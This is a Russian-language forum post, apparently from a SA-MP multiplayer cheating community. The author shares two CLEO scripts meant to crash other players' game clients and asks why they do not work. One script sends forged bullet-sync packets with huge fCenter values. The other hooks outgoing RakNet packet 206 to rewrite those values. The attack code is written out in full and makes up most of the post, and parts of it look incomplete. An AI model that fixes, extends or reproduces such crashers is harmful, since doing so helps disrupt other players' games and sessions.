Как я понимаю если отправлять большие значения в fcenter (2004318080.0 ) игроков по идее будет крашить. Но у меня не получается написал 2 скрипта. Первый отправляет bullet синхру с большим fCenter. Второй это hook. Перехватывает исходящую bullet синхру и переписывает fCenter (работает когда стреляешь). Может я что-то не так понимаю, объясните как работают современные крашеры. Коды этих скриптов я скину.
Первый крашер.
Второй крашер с хуком.
Первый крашер.
Код:
{$CLEO}
const
STATE = 0@
end
0000:
{$INCLUDE SAMP_AV}
0B34: samp register_client_command "cr" to_label @cmd
while true
wait 0
if 0@ == 1
then
call @BulletSync 0
018C: play_sound 1052 at 0.0 0.0 0.0
wait 2@
end
end
:cmd
if STATE == 0
then
0B35: samp 1@ = get_last_command_params
if
0AD4: 1@ = scan_string 1@ format "%d" 2@
then
STATE = 1
0AF8: samp add_message_to_chat "{FFFF00}[Crasher] {FFFFFF}Включен" color -1
else
0AF8: samp add_message_to_chat "{FFFF00}[Crasher] {FFFFFF}Введите /cr [Задержка]" color -1
SAMP.CmdRet()
end
else
STATE = 0
0AF8: samp add_message_to_chat "{FFFF00}[Crasher] {FFFFFF}Выключен" color -1
end
samp.CmdRet()
:BulletSync
0AC8: 10@ = allocate_memory_size 40 // sizeof_stBulletData
0C0D: struct 10@ offset 0 size 1 = 1 // uint8_t byteType;
0B2B: samp 11@ = get_player_id_by_actor_handle $PLAYER_ACTOR
0C0D: struct 10@ offset 1 size 2 = 11@ // uint16_t sTargetID;
0C0D: struct 10@ offset 27 size 4 = 2004318080.0 // float fCenter[3];
0C0D: struct 10@ offset 31 size 4 = 2004318080.0 // float fCenter[3];
0C0D: struct 10@ offset 35 size 4 = 2004318080.0 // float fCenter[3];
0470: 12@ = actor $PLAYER_ACTOR current_weapon
0C0D: struct 25@ offset 39 size 1 = 12@ // uint8_t byteWeaponID;
Код:
{$CLEO}
0000:
{$INCLUDE SAMP_AV}
0BE2: raknet setup_outcoming_packet_hook @RPC
0B34: samp register_client_command "rew" to_label @cmd
0BDE: pause_thread 0
:cmd
if 15@ == 0
then
15@ = 1
print "Rewrite ~g~ON" 1000
else
15@ = 0
print "Rewrite ~r~OFF" 1000
end
samp.CmdRet()
:RPC
if 15@ == 1
jf @RPC_Ret
0BE5: raknet 31@ = get_hook_param 1
if
0039: 31@ == 206
jf @RPC_Ret
0BE5: raknet 30@ = get_hook_param 0
0AC8: 20@ = allocate_memory_size 40
20@ = BitStream.GetDataPtr(30@)
0C0D: struct 20@ offset 27 size 4 = 2004318080.0
0C0D: struct 20@ offset 31 size 4 = 2004318080.0
0C0D: struct 20@ offset 35 size 4 = 2004318080.0
0AC9: free_allocated_memory 20@
:RPC_Ret
0BE0: raknet hook_ret 1